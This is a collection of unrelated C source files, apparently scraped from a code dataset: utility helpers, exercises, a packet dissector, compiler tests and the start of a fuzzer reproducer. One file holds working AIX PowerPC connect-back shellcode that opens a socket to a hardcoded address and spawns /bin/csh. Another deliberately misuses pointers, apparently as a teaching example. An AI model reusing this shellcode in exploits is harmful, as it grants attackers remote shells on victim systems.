* size multiplier in case of success and %-1 in case of failure.
*/
static int get_multiplier(const char *str)
{
if (!str)
return 1;
/* Remove spaces before the specifier */
while (*str == ' ' || *str == '\t')
str += 1;
if (!strcmp(str, "KiB"))
return 1024;
if (!strcmp(str, "MiB"))
return 1024 * 1024;
if (!strcmp(str, "GiB"))
return 1024 * 1024 * 1024;
return -1;
}
/**
* ubiutils_get_bytes - convert a string containing amount of bytes into an
* integer
* @str: string to convert
*
* This function parses @str which may have one of 'KiB', 'MiB', or 'GiB'
* size specifiers. Returns positive amount of bytes in case of success and %-1
* in case of failure.
*/
long long ubiutils_get_bytes(const char *str)
{
char *endp;
long long bytes = strtoull(str, &endp, 0);
if (endp == str || bytes < 0) {
fprintf(stderr, "incorrect amount of bytes: \"%s\"\n", str);
return -1;
}
if (*endp != '\0') {
int mult = get_multiplier(endp);
if (mult == -1) {
fprintf(stderr, "bad size specifier: \"%s\" - "
"should be 'KiB', 'MiB' or 'GiB'\n", endp);
return -1;
}
bytes *= mult;
}
return bytes;
}
/**
* ubiutils_print_bytes - print bytes.
* @bytes: variable to print
* @bracket: whether brackets have to be put or not
*
* This is a helper function which prints amount of bytes in a human-readable
* form, i.e., it prints the exact amount of bytes following by the approximate
* amount of Kilobytes, Megabytes, or Gigabytes, depending on how big @bytes
* is.
*/
void ubiutils_print_bytes(long long bytes, int bracket)
{
const char *p;
if (bracket)
p = " (";
else
p = ", ";
printf("%lld bytes", bytes);
if (bytes > 1024 * 1024 * 1024)
printf("%s%.1f GiB", p, (double)bytes / (1024 * 1024 * 1024));
else if (bytes > 1024 * 1024)
printf("%s%.1f MiB", p, (double)bytes / (1024 * 1024));
else if (bytes > 1024 && bytes != 0)
printf("%s%.1f KiB", p, (double)bytes / 1024);
else
return;
if (bracket)
printf(")");
}
/**
* ubiutils_print_text - print text and fold it.
* @stream: file stream to print to
* @text: text to print
* @width: maximum allowed text width
*
* Print text and fold it so that each line would not have more then @width
* characters.
*/
void ubiutils_print_text(FILE *stream, const char *text, int width)
{
int pos, bpos = 0;
const char *p;
char line[1024];
if (width > 1023) {
fprintf(stream, "%s\n", text);
return;
}
p = text;
pos = 0;
while (p[pos]) {
while (!isspace(p[pos])) {
line[pos] = p[pos];
if (!p[pos])
break;
++pos;
if (pos == width) {
line[pos] = '\0';
fprintf(stream, "%s\n", line);
p += pos;
pos = 0;
}
}
while (pos < width) {
line[pos] = p[pos];
if (!p[pos]) {
bpos = pos;
break;
}
if (isspace(p[pos]))
bpos = pos;
++pos;
}
line[bpos] = '\0';
fprintf(stream, "%s\n", line);
p += bpos;
pos = 0;
while (p[pos] && isspace(p[pos]))
++p;
}
}
/**
* ubiutils_srand - randomly seed the standard pseudo-random generator.
*
* This helper function seeds the standard libc pseudo-random generator with a
* more or less random value to make sure the 'rand()' call does not return the
* same sequence every time UBI utilities run. Returns zero in case of success
* and a %-1 in case of error.
*/
int ubiutils_srand(void)
{
struct timeval tv;
struct timezone tz;
unsigned int seed;
/*
* Just assume that a combination of the PID + current time is a
* reasonably random number.
*/
if (gettimeofday(&tv, &tz))
return -1;
seed = (unsigned int)tv.tv_sec;
seed += (unsigned int)tv.tv_usec;
seed *= getpid();
seed %= RAND_MAX;
srand(seed);
return 0;
}
|
the_stack_data/953898.c | #include <stdio.h>
int main(){
int i = 0;
float nota, soma = 0, media;
while (i < 2){
scanf("%f", ¬a);
if (nota < 0.0 || nota > 10.0){
printf("nota invalida\n");
}
else{
soma += nota;
i++;
}
}
media = soma / 2;
printf("media = %.2f\n", media);
return 0;
}
|
the_stack_data/100141273.c | /* **********************************************************
* Author : Urvashi R.V. [04/06/2004]
* Modified by Didem Unat [03/23/15]
*************************************************************/
#include <stdio.h>
/* Function to plot the 2D array
* 'gnuplot' is instantiated via a pipe and
* the values to be plotted are passed through, along
* with gnuplot commands */
FILE *gnu=NULL;
void splot(double **U, double T, int niter, int m, int n)
{
int i, j;
if(gnu==NULL) gnu = popen("gnuplot","w");
double mx = -1, mn = 32768;
for (j=0; j<m; j++)
for (i=0; i<n; i++){
if (U[j][i] > mx)
mx = U[j][i];
if (U[j][i] < mn)
mn = U[j][i];
}
fprintf(gnu,"set title \"T = %f [niter = %d]\"\n",T, niter);
fprintf(gnu,"set size square\n");
fprintf(gnu,"set key off\n");
fprintf(gnu,"set pm3d map\n");
// Various color schemes
fprintf(gnu,"set palette defined (-3 \"blue\", 0 \"white\", 1 \"red\")\n");
// fprintf(gnu,"set palette rgbformulae 22, 13, 31\n");
// fprintf(gnu,"set palette rgbformulae 30, 31, 32\n");
fprintf(gnu,"splot [0:%d] [0:%d][%f:%f] \"-\"\n",m-1,n-1,mn,mx);
for (j=0; j<m; j++){
for (i=0; i<n; i++) {
fprintf(gnu,"%d %d %f\n", i, j, U[i][j]);
}
fprintf(gnu,"\n");
}
fprintf(gnu,"e\n");
fflush(gnu);
return;
}
|
the_stack_data/232956615.c | #include <stdlib.h>
int* foo() {
int local_x = 42;
int* retval = &local_x; // uh oh
return retval;
}
int main() {
int* null_p = NULL;
int* random_p = (int*)123;
int* heap_p;
int** uninit_pp = &heap_p;
heap_p = malloc(5 * sizeof(*heap_p));
int* cur_p = heap_p;
cur_p++;
cur_p++;
cur_p++;
cur_p++;
cur_p++;
cur_p++;
cur_p++;
cur_p++;
free(heap_p);
heap_p = NULL;
int* stack_p = foo();
}
|
the_stack_data/92325211.c | #include <stdio.h>
#include <unistd.h>
void ft_swap(int *a, int *b)
{
int c;
c = *a;
*a = *b;
*b = c;
}
|
the_stack_data/115766828.c | /*
* 函数 srl 用算术右移来完成逻辑右移，后面的其他操作不包括右移或者除法
* 函数 sra 用逻辑右移来完成算术右移，后面的其他操作不包括右移或者除法
* 可以通过计算8*sizeof(int) 来确定数据类型 int 中的位数 w
* 位移量 k 的取值范围位 0~w-1
*/
#include <stdio.h>
static int w = sizeof(int) << 3;
/**
* 逻辑右移
*/
unsigned srl(unsigned x, int k)
{
/* Perform shift arithmetically */
unsigned xsra = (int)x >> k;
int mask = -1 << (w - k);
return xsra & ~ mask;
}
/**
* 算数右移
*/
int sra(int x, int k)
{
/* Perform shift logically */
int xsrl = (unsigned)x >> k;
int mask = -1 << (w - k);
return x < 0 ? xsrl | mask : xsrl;
}
int main(int argc, char *argv[])
{
unsigned test_unsigned = 0x12345678;
int test_int = 0x12345678;
printf("%d\n", srl(test_unsigned, 4) == test_unsigned >> 4);
printf("%d\n", sra(test_int, 4) == test_int >> 4);
test_unsigned = 0x87654321;
test_int = 0x87654321;
printf("%d\n", srl(test_unsigned, 4) == test_unsigned >> 4);
printf("%d\n", sra(test_int, 4) == test_int >> 4);
} |
the_stack_data/92324199.c | /*****************************************************************
* outline.c
*
* Copyright 1999, Clark Cooper
* All rights reserved.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the license contained in the
* COPYING file that comes with the expat distribution.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* Read an XML document from standard input and print an element
* outline on standard output.
* Must be used with Expat compiled for UTF-8 output.
*/
#include <stdio.h>
#include <expat.h>
#ifdef XML_LARGE_SIZE
#if defined(XML_USE_MSC_EXTENSIONS) && _MSC_VER < 1400
#define XML_FMT_INT_MOD "I64"
#else
#define XML_FMT_INT_MOD "ll"
#endif
#else
#define XML_FMT_INT_MOD "l"
#endif
#define BUFFSIZE 8192
char Buff[BUFFSIZE];
int Depth;
static void XMLCALL
start(void *data, const char *el, const char **attr)
{
int i;
for (i = 0; i < Depth; i++)
printf(" ");
printf("%s", el);
for (i = 0; attr[i]; i += 2) {
printf(" %s='%s'", attr[i], attr[i + 1]);
}
printf("\n");
Depth++;
}
static void XMLCALL
end(void *data, const char *el)
{
Depth--;
}
#ifdef AMIGA_SHARED_LIB
#include <proto/expat.h>
int
amiga_main(int argc, char *argv[])
#else
int
main(int argc, char *argv[])
#endif
{
XML_Parser p = XML_ParserCreate(NULL);
if (! p) {
fprintf(stderr, "Couldn't allocate memory for parser\n");
exit(-1);
}
XML_SetElementHandler(p, start, end);
for (;;) {
int done;
int len;
len = fread(Buff, 1, BUFFSIZE, stdin);
if (ferror(stdin)) {
fprintf(stderr, "Read error\n");
exit(-1);
}
done = feof(stdin);
if (XML_Parse(p, Buff, len, done) == XML_STATUS_ERROR) {
fprintf(stderr, "Parse error at line %" XML_FMT_INT_MOD "u:\n%s\n",
XML_GetCurrentLineNumber(p),
XML_ErrorString(XML_GetErrorCode(p)));
exit(-1);
}
if (done)
break;
}
return 0;
}
|
the_stack_data/127273.c | #define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
/* Type definitions */
typedef int u_int ;
typedef int u_char ;
typedef int /*<<< orphan*/ netdissect_options ;
/* Variables and functions */
int EXTRACT_16BITS (int const*) ;
int /*<<< orphan*/ ND_PRINT (int /*<<< orphan*/ *) ;
int /*<<< orphan*/ ND_TCHECK (int const) ;
int /*<<< orphan*/ ND_TCHECK2 (int const,int) ;
#define PAP_AACK 130
#define PAP_ANAK 129
#define PAP_AREQ 128
int /*<<< orphan*/ papcode_values ;
int /*<<< orphan*/ safeputchar (int /*<<< orphan*/ *,int /*<<< orphan*/ ) ;
int /*<<< orphan*/ tok2str (int /*<<< orphan*/ ,char*,int) ;
__attribute__((used)) static void
handle_pap(netdissect_options *ndo,
const u_char *p, int length)
{
u_int code, len;
int peerid_len, passwd_len, msg_len;
const u_char *p0;
int i;
p0 = p;
if (length < 1) {
ND_PRINT((ndo, "[|pap]"));
return;
} else if (length < 4) {
ND_TCHECK(*p);
ND_PRINT((ndo, "[|pap 0x%02x]", *p));
return;
}
ND_TCHECK(*p);
code = *p;
ND_PRINT((ndo, "PAP, %s (0x%02x)",
tok2str(papcode_values, "unknown", code),
code));
p++;
ND_TCHECK(*p);
ND_PRINT((ndo, ", id %u", *p)); /* ID */
p++;
ND_TCHECK2(*p, 2);
len = EXTRACT_16BITS(p);
p += 2;
if ((int)len > length) {
ND_PRINT((ndo, ", length %u > packet size", len));
return;
}
length = len;
if (length < (p - p0)) {
ND_PRINT((ndo, ", length %u < PAP header length", length));
return;
}
switch (code) {
case PAP_AREQ:
/* A valid Authenticate-Request is 6 or more octets long. */
if (len < 6)
goto trunc;
if (length - (p - p0) < 1)
return;
ND_TCHECK(*p);
peerid_len = *p; /* Peer-ID Length */
p++;
if (length - (p - p0) < peerid_len)
return;
ND_PRINT((ndo, ", Peer "));
for (i = 0; i < peerid_len; i++) {
ND_TCHECK(*p);
safeputchar(ndo, *p++);
}
if (length - (p - p0) < 1)
return;
ND_TCHECK(*p);
passwd_len = *p; /* Password Length */
p++;
if (length - (p - p0) < passwd_len)
return;
ND_PRINT((ndo, ", Name "));
for (i = 0; i < passwd_len; i++) {
ND_TCHECK(*p);
safeputchar(ndo, *p++);
}
break;
case PAP_AACK:
case PAP_ANAK:
/* Although some implementations ignore truncation at
* this point and at least one generates a truncated
* packet, RFC 1334 section 2.2.2 clearly states that
* both AACK and ANAK are at least 5 bytes long.
*/
if (len < 5)
goto trunc;
if (length - (p - p0) < 1)
return;
ND_TCHECK(*p);
msg_len = *p; /* Msg-Length */
p++;
if (length - (p - p0) < msg_len)
return;
ND_PRINT((ndo, ", Msg "));
for (i = 0; i< msg_len; i++) {
ND_TCHECK(*p);
safeputchar(ndo, *p++);
}
break;
}
return;
trunc:
ND_PRINT((ndo, "[|pap]"));
} |
the_stack_data/100535.c | #include <stdio.h>
#include <string.h>
int to_integer(char*);
int main()
{
char string[20];
fgets(string,20,stdin);
int sum = to_integer(string);
printf("%d\n",sum);
return sum;
}
int to_integer(char* string)
{
int sum = 0,current_number = 0;
for(int i=0;i<strlen(string)-1;i++)
{
if(string[i] != ' ')
{
current_number *= 10;
current_number += (string[i] - '0');
}
else
{
sum += current_number;
current_number = 0;
}
}
sum += current_number;
return sum;
}
|
the_stack_data/73576353.c | /*
* aix-power-cntsockcode.c
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
/*
* Supported AIX versions:
*
* -DAIX614 AIX Version 6.1.4
* -DAIX613 AIX Version 6.1.3
* -DAIX612 AIX Version 6.1.2
* -DAIX611 AIX Version 6.1.1
* -DAIX5310 AIX Version 5.3.10
* -DAIX539 AIX Version 5.3.9
* -DAIX538 AIX Version 5.3.8
* -DAIX537 AIX Version 5.3.7
*
*/
#define CNTSOCKADDR 32
#define CNTSOCKPORT 30
char cntsockcode[]= /* 200 bytes */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel <cntsockcode> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* cal r30,511(r30) */
"\x3b\xde\xfe\x25" /* cal r30,-475(r30) */
"\x7f\xc9\x03\xa6" /* mtctr r30 */
"\x4e\x80\x04\x20" /* bctr */
"\xff\x02\x04\xd2" /* .long 0xff0204d2 */
"\x7f\x00\x00\x01" /* .long 0x7f000001 */
"\x4c\xc6\x33\x42" /* crorc 6,6,6 */
"\x44\xff\xff\x02" /* svca 0 */
"\x3b\xde\xff\xf8" /* cal r30,-8(r30) */
"\x3b\xa0\x07\xff" /* lil r29,2047 */
"\x38\x9d\xf8\x02" /* cal r4,-2046(r29) */
"\x38\x7d\xf8\x03" /* cal r3,-2045(r29) */
#ifdef AIX614
"\x38\x5d\xf8\xf4" /* cal r2,-1804(r29) */
#endif
#ifdef AIX613
"\x38\x5d\xf8\xef" /* cal r2,-1809(r29) */
#endif
#ifdef AIX612
"\x38\x5d\xf8\xef" /* cal r2,-1809(r29) */
#endif
#ifdef AIX611
"\x38\x5d\xf8\xec" /* cal r2,-1812(r29) */
#endif
#ifdef AIX610
"\x38\x5d\xf8\xec" /* cal r2,-1812(r29) */
#endif
#ifdef AIX5310
"\x38\x5d\xf8\xda" /* cal r2,-1830(r29) */
#endif
#ifdef AIX539
"\x38\x5d\xf8\xda" /* cal r2,-1830(r29) */
#endif
#ifdef AIX538
"\x38\x5d\xf8\xda" /* cal r2,-1830(r29) */
#endif
#ifdef AIX537
"\x38\x5d\xf8\xda" /* cal r2,-1830(r29) */
#endif
"\x7f\xc9\x03\xa6" /* mtctr r30 */
"\x4e\x80\x04\x21" /* bctrl */
"\x7c\x7c\x1b\x78" /* mr r28,r3 */
"\x38\xbd\xf8\x11" /* cal r5,-2031(r29) */
"\x38\x9e\xff\xf8" /* cal r4,-8(r30) */
#ifdef AIX614
"\x38\x5d\xf8\xf5" /* cal r2,-1803(r29) */
#endif
#ifdef AIX613
"\x38\x5d\xf8\xf0" /* cal r2,-1808(r29) */
#endif
#ifdef AIX612
"\x38\x5d\xf8\xf0" /* cal r2,-1808(r29) */
#endif
#ifdef AIX611
"\x38\x5d\xf8\xed" /* cal r2,-1811(r29) */
#endif
#ifdef AIX610
"\x38\x5d\xf8\xed" /* cal r2,-1811(r29) */
#endif
#ifdef AIX5310
"\x38\x5d\xf8\xdb" /* cal r2,-1829(r29) */
#endif
#ifdef AIX539
"\x38\x5d\xf8\xdb" /* cal r2,-1829(r29) */
#endif
#ifdef AIX538
"\x38\x5d\xf8\xdb" /* cal r2,-1829(r29) */
#endif
#ifdef AIX537
"\x38\x5d\xf8\xdb" /* cal r2,-1829(r29) */
#endif
"\x7f\xc9\x03\xa6" /* mtctr r30 */
"\x4e\x80\x04\x21" /* bctrl */
"\x3b\x7d\xf8\x03" /* cal r27,-2045(r29) */
"\x7f\x63\xdb\x78" /* mr r3,r27 */
#ifdef AIX614
"\x38\x5d\xf9\x17" /* cal r2,-1769(r29) */
#endif
#ifdef AIX613
"\x38\x5d\xf9\x11" /* cal r2,-1775(r29) */
#endif
#ifdef AIX612
"\x38\x5d\xf9\x11" /* cal r2,-1775(r29) */
#endif
#ifdef AIX611
"\x38\x5d\xf9\x0e" /* cal r2,-1778(r29) */
#endif
#ifdef AIX610
"\x38\x5d\xf9\x0e" /* cal r2,-1778(r29) */
#endif
#ifdef AIX5310
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
#endif
#ifdef AIX539
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
#endif
#ifdef AIX538
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
#endif
#ifdef AIX537
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
#endif
"\x7f\xc9\x03\xa6" /* mtctr r30 */
"\x4e\x80\x04\x21" /* bctrl */
"\x7f\x65\xdb\x78" /* mr r5,r27 */
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
"\x7f\x83\xe3\x78" /* mr r3,r28 */
#ifdef AIX614
"\x38\x5d\xfa\x93" /* cal r2,-1389(r29) */
#endif
#ifdef AIX613
"\x38\x5d\xfa\x85" /* cal r2,-1403(r29) */
#endif
#ifdef AIX612
"\x38\x5d\xfa\x7c" /* cal r2,-1412(r29) */
#endif
#ifdef AIX611
"\x38\x5d\xfa\x67" /* cal r2,-1433(r29) */
#endif
#ifdef AIX610
"\x38\x5d\xfa\x6a" /* cal r2,-1430(r29) */
#endif
#ifdef AIX5310
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
#endif
#ifdef AIX539
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
#endif
#ifdef AIX538
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
#endif
#ifdef AIX537
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
#endif
"\x7f\xc9\x03\xa6" /* mtctr r30 */
"\x4e\x80\x04\x21" /* bctrl */
"\x37\x7b\xff\xff" /* ai. r27,r27,-1 */
"\x40\x80\xff\xd4" /* bge <cntsockcode+100> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel <cntsockcode+148> */
"\x7f\x08\x02\xa6" /* mflr r24 */
"\x3b\x18\x01\xff" /* cal r24,511(r24) */
"\x38\x78\xfe\x29" /* cal r3,-471(r24) */
"\x98\xb8\xfe\x31" /* stb r5,-463(r24) */
"\x94\xa1\xff\xfc" /* stu r5,-4(r1) */
"\x94\x61\xff\xfc" /* stu r3,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
#ifdef AIX614
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
#endif
#ifdef AIX613
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
#endif
#ifdef AIX612
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
#endif
#ifdef AIX611
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
#endif
#ifdef AIX610
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
#endif
#ifdef AIX5310
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
#endif
#ifdef AIX539
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
#endif
#ifdef AIX538
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
#endif
#ifdef AIX537
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
#endif
"\x7f\xc9\x03\xa6" /* mtctr r30 */
"\x4e\x80\x04\x21" /* bctrl */
"/bin/csh"
;
|
the_stack_data/93886946.c | /* PR optimization/12198
This was a miscompilation of a switch expressions because
the "Case Ranges" extension wasn't handled in tree-cfg.c. */
/* { dg-do compile } */
/* { dg-options "-O -fdump-tree-optimized" } */
/* LLVM LOCAL test not applicable */
/* { dg-require-fdump "" } */
extern void abort (void);
extern void exit (int);
int main()
{
int i;
i = 2;
switch (i)
{
case 1 ... 5:
goto L1;
default:
abort ();
goto L1;
}
L1:
exit(0);
}
/* The abort() call clearly is unreachable. */
/* { dg-final { scan-tree-dump-times "abort" 0 "optimized"} } */
/* { dg-final { cleanup-tree-dump "optimized" } } */
|
the_stack_data/580191.c | struct foo
{
union
{
struct
{
int bar;
};
};
union
{
struct
{
int baz;
struct foo *foo;
};
};
};
struct foo *bar;
|
the_stack_data/1235990.c | #include<stdio.h>
#include<stdlib.h>
#define N 10
#define inf 1000
/*
** Program to find shortest path using Dijkstra Algorithm using Adjacency List
** Made by - Abhishek Chand
*/
typedef struct NODE
{
int v;
int w;
struct NODE* next;
}node;
typedef struct HeapNode
{
int v;
int key;
}Hnode;
void decreaseKey(Hnode *H, int i, int newKey, int s, int *pos) {
int p = pos[i], v;
Hnode x = H[p];
x.key = newKey;
while(p > 1 && x.key < H[p/2].key) {
H[p] = H[p/2];
v = H[p].v;
pos[v] = p;
p = p/2;
}
H[p] = x;
pos[i] = p;
}
void minHeapify(Hnode *H, int i, int s, int *pos) {
Hnode x = H[i];
int l, r, min, v;
while((l = 2*i) <= s) {
r = l+1;
if(r <= s && H[r].key < H[l].key)
min = r;
else
min = l;
if(H[min].key < x.key) {
H[i] = H[min];
v = H[i].v;
pos[v] = i;
i = min;
}
else
break;
}
H[i] = x;
v = H[i].v;
pos[v] = i;
}
int extractMin(Hnode *H, int *s, int *pos) {
int u = H[1].v;
H[1] = H[*s];
pos[H[1].v] = 1;
*s = *s-1;
minHeapify(H, 1, *s, pos);
return u;
}
void printpath(int *pred,int x)
{
if(pred[x]==-1)
{
printf(" %d",x);
return;
}
printpath(pred,pred[x]);
printf("-->%d",x);
}
void Dijkstra(node *L[], int n)
{
int u,v,w,i;
int *dis,*pre,*vis,pos[n+1];
dis=(int *)malloc((n+1)*sizeof(int));
pre=(int *)malloc((n+1)*sizeof(int));
vis=(int *)malloc((n+1)*sizeof(int));
int Hsize = n;
Hnode *H = (Hnode *)malloc((Hsize+1)*sizeof(Hnode));
for(i = 1; i <= Hsize; i++)
{
pre[i] = -1;
vis[i] = 0;
dis[i] = H[i].key = inf;
H[i].v = i;
pos[i] = i;
}
dis[1]=H[1].key=0; //assuming source vertex is 1
while(Hsize)
{
u = extractMin(H, &Hsize, pos);
vis[u] = 1;
node *q = L[u];
while(q) {
v = q->v;
w = q->w;
if( vis[v] == 0 && dis[v] > dis[u] + w )
{
dis[v] = dis[u] + w;
pre[v] = u;
decreaseKey(H, v, w, Hsize, pos);
}
q = q->next;
}
}
printf("\n\nDistance");
for(i=1;i<n+1;i++)
{
printf("\n%d %d",i,dis[i]);
printpath(pre,i);
}
}
int main()
{
int i,j,k,w,n,e;
printf("No. of vertices:");
scanf("%d",&n);
printf("\nNo. of edges:");
scanf("%d",&e);
node *List[N]={NULL};
for(k=0;k<e;k++)
{
node *t = (node *)malloc(sizeof(node));
printf("\nEnter an edge(i j w):");
scanf("%d %d %d", &i, &j, &w);
t->v=j;
t->w=w;
t->next = List[i];
List[i] = t;
}
printf("\nInput Graph:");
for(i=1;i<n+1;i++)
{
printf("\n\n%d",i);
node *p=List[i];
while(p!=NULL)
{
printf("->%d:%d",p->v,p->w);
p=p->next;
}
}
Dijkstra(List, n);
return 0;
}
|
the_stack_data/104827452.c | /*
* ch12/miscdrv/rdwr_test.c
***************************************************************
* This program is part of the source code released for the book
* "Learn Linux Kernel Development"
* (c) Author: Kaiwan N Billimoria
* Publisher: Packt
* GitHub repository:
* https://github.com/PacktPublishing/Learn-Linux-Kernel-Development
*
* From: Ch 12 : Writing a Simple Misc Device Driver
****************************************************************
* Brief Description:
* USER SPACE app : a generic read-write test bed for demo drivers.
* THis simple user mode app allows you to issue a read or a write
* to a specified device file.
*
* For details, please refer the book, Ch 12.
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <limits.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#define READ_OPT 'r'
#define WRITE_OPT 'w'
static int stay_alive;
static inline void usage(char *prg)
{
fprintf(stderr, "Usage: %s r|w device_file num_bytes\n"
" 'r' => read num_bytes bytes from the device node device_file\n"
" 'w' => write num_bytes bytes to the device node device_file\n", prg);
}
int main(int argc, char **argv)
{
int fd, flags = O_RDONLY;
ssize_t n;
char opt, *buf = NULL;
size_t num = 0;
if (argc != 4) {
usage(argv[0]);
exit(EXIT_FAILURE);
}
opt = argv[1][0];
if (opt != 'r' && opt != 'w') {
usage(argv[0]);
exit(EXIT_FAILURE);
}
if (opt == WRITE_OPT)
flags = O_WRONLY;
fd = open(argv[2], flags, 0);
if (fd == -1) {
perror("open");
exit(EXIT_FAILURE);
}
printf("Device file \"%s\" opened (in %s mode): fd=%d\n",
argv[2], (flags == O_RDONLY ? "read-only" : "write-only"), fd);
num = atoi(argv[3]);
/* if ((num < 0) || (num > INT_MAX)) { */
/* FYI, for the above line of code, the cppcheck(1) tool via the Makefile's
* 'sa' target caught this:
* "style: The unsigned expression 'num' will never be negative so it is either
* pointless or an error to check if it is. [unsignedLessThanZero]"
*/
if (num > INT_MAX) {
fprintf(stderr, "%s: number of bytes '%zu' invalid.\n", argv[0], num);
close(fd);
exit(EXIT_FAILURE);
}
buf = calloc(num, 1);
if (!buf) {
fprintf(stderr, "%s: out of memory!\n", argv[0]);
close(fd);
exit(EXIT_FAILURE);
}
if (opt == READ_OPT) { // test reading..
n = read(fd, buf, num);
if (n < 0) {
perror("read failed");
fprintf(stderr, "Tip: see kernel log\n");
free(buf);
close(fd);
exit(EXIT_FAILURE);
}
printf("%s: read %zd bytes from %s\n", argv[0], n, argv[2]);
printf(" Data read:\n\"%.*s\"\n", (int)n, buf);
#if 0
/* Test the lseek; typically, it should fail */
off_t ret = lseek(fd, 100, SEEK_CUR);
if (ret == (off_t)-1)
fprintf(stderr, "%s: lseek on device failed\n", argv[0]);
#endif
} else { // test writing ..
n = write(fd, buf, num);
if (n < 0) {
perror("write failed");
fprintf(stderr, "Tip: see kernel log\n");
free(buf);
close(fd);
exit(EXIT_FAILURE);
}
printf("%s: wrote %ld bytes to %s\n", argv[0], n, argv[2]);
}
if (stay_alive == 1) {
printf("%s:%d: stayin' alive (in pause()) ...\n", argv[0], getpid());
pause(); /* block until a signal is received */
}
free(buf);
close(fd);
exit(EXIT_SUCCESS);
}
|
the_stack_data/62795.c | // Check initialization of points-to in declaration statements
struct cons_t {
double value;
struct cons_t * next;
};
typedef struct cons_t * list;
void init01()
{
int *p;
list q;
struct cons_t r;
return;
}
|
the_stack_data/642269.c | #include <stdio.h>
int main(void)
{
int i;
float f;
f = i = 33.3f;
printf("f = %f, i = %d\n", f, i);
int x = 1, y, z;
z = 1 + (y = 1); // hard to read. NOT GOOD!
printf("%d %d %d\n", x, y, z);
return 0;
} |
the_stack_data/50137733.c | /*Exercise 2 - Selection
Write a program to calculate the amount to be paid for a rented vehicle.
• Input the distance the van has travelled
• The first 30 km is at a rate of 50/= per km.
• The remaining distance is calculated at the rate of 40/= per km.
e.g.
Distance -> 20
Amount = 20 x 50 = 1000
Distance -> 50
Amount = 30 x 50 + (50-30) x 40 = 2300*/
#include <stdio.h>
int main() {
float distance, amount;
printf("Enter the distance travelled(km): ");
scanf("%f", &distance);
if(distance <= 30)
{
amount = distance * 50.0;
}
else
{
amount = ((distance - 30) * 40.0) + 1500.00;
}
printf("Amount to be paid: %.2f", amount);
return 0;
}
|
the_stack_data/977105.c | /* KallistiOS ##version##
thrd_yield.c
Copyright (C) 2014 Lawrence Sebald
*/
#include <threads.h>
void thrd_yield(void) {
thd_pass();
}
|
the_stack_data/950643.c | // possible deadlock in cleanup_net
// https://syzkaller.appspot.com/bug?id=d5aa7e0385f6a5d0f4fd
// status:6
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <linux/capability.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_tun.h>
#include <linux/in6.h>
#include <linux/ip.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/tcp.h>
#include <linux/veth.h>
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
